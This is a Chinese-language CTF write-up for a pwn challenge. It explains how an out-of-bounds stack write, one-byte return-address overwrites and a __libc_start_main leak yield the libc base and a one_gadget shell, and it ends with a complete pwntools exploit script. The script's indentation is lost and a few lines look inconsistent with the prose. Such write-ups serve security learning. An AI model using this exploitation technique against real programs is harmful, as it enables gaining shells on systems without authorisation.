解题记录(2)
题目不难,但也有思考的地方
题目
如下,保护全开
main函数是调用game函数的,所以主要看一下game函数
主要有下面两点
首先是这一部分,可控的v4,并对数组v5进行写操作,因此这里存在栈溢出,并且能够绕过Canary
第二部分如下,打印刚才写入的单元,但只打印6个字节
分析
函数可利用的就上面介绍的两点,其他的都是打印打印
先看看第一个read的使用,一开始想到的是栈溢出,因为能够绕过canary直接修改函数返回值,但马上想到,由于程序保护全开,地址进行了随机化,所以就没办法确定函数地址了
之后想到了write函数,能够打印出这个地址的内容,因此,我又想到的是,game函数的返回值其实就是main函数中call game下一条指令的地址
并且由于程序是从0x0开始的,main函数的地址从0xf1a开始,如果我用0x1a覆盖该返回地址的一个字节,并输出,那么就能得到main的地址了,如下
有了main的地址,那么是不是就能够正常的溢出了?
我到这里才意识到一个问题,如果我要栈溢出,那么我需要向栈里写入我想要的数据,但read这个漏洞如果不去修改返回地址的话,那他只能用一次,所以这条路走不通
之后有意识到,调用main函数的是__libc_start_main函数,而main函数的返回地址在game返回地址的后两个,也就是v5[25]处
那么可以用同样的方式泄露出__libc_start_main的地址
同样,需要先修改v[25],我这里只覆盖了一个字节,然后打印出的是__libc_start_main+202的地址,通过它能够计算libc的地址了,然后通过one_gadget就能找到执行execve("/bin/sh")的地址
因此,只要在执行一次game函数,同时将game或者main函数的返回地址修改为执行获取shell的地址,就能拿到shell了
那么现在的问题是如何让程序返回
main的返回地址是__libc_start_main某处,我通过覆盖一个字节泄露出了这个地址
而覆盖的这个字节要小于__libc_start_main调用main时指令地址的最末尾的一个字节,并且不能破坏程序结构,因此这里需要一个一个的去尝试,我运气好,用的之前覆盖game返回值的那个字节就成功了
不能覆盖两个以上字节,因为只能确定最后一个字节偏移是没有变的,至于两个字节就不确定了
那么最后的exp
from pwn import *
#context.log_level='debug'
p = process('./Metaphysical_Necrosis')
elf = ELF('./Metaphysical_Necrosis')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
payload = 2
def send(pos, data):
p.recvuntil('你要把C4安放在哪里呢?\n')
p.sendline(str(pos))
p.send(data)
p.recvuntil('the bomb has been planted!\n')
p.sendline()
p.recvuntil('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n')
p.sendline()
p.recvuntil('你决定给它起个名字:')
p.sendline('Mike')
p.recvuntil('接下来开始切菜,你打算把它切成几段呢?\n')
p.sendline('1')
p.recvuntil('第0段打算怎么料理呢:')
p.sendline('1')
p.recvuntil('就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。\n')
p.sendline()
p.recvuntil('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n')
p.sendline()
p.recvuntil('你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:\n')
p.sendline('1')
p.recvline()
base = u64(p.recv(6).ljust(8, b'\x00'))
#print(hex(base))
p.recvuntil('…____\n')
p.sendline()
p.recvline()
return base
base = send(5, p8(0x1a))
__libc_start_main = libc.sym['__libc_start_main']
libc_base = base - 202 - __libc_start_main
exe_binsh = 0x45226 + libc_base
base = send(5, p64(exe_binsh))
p.interactive()
最后
从exp也能看出,题目难度不大,但需要能够想到main的返回地址是__libc_start_main的某处,这样就能泄露libc基地址了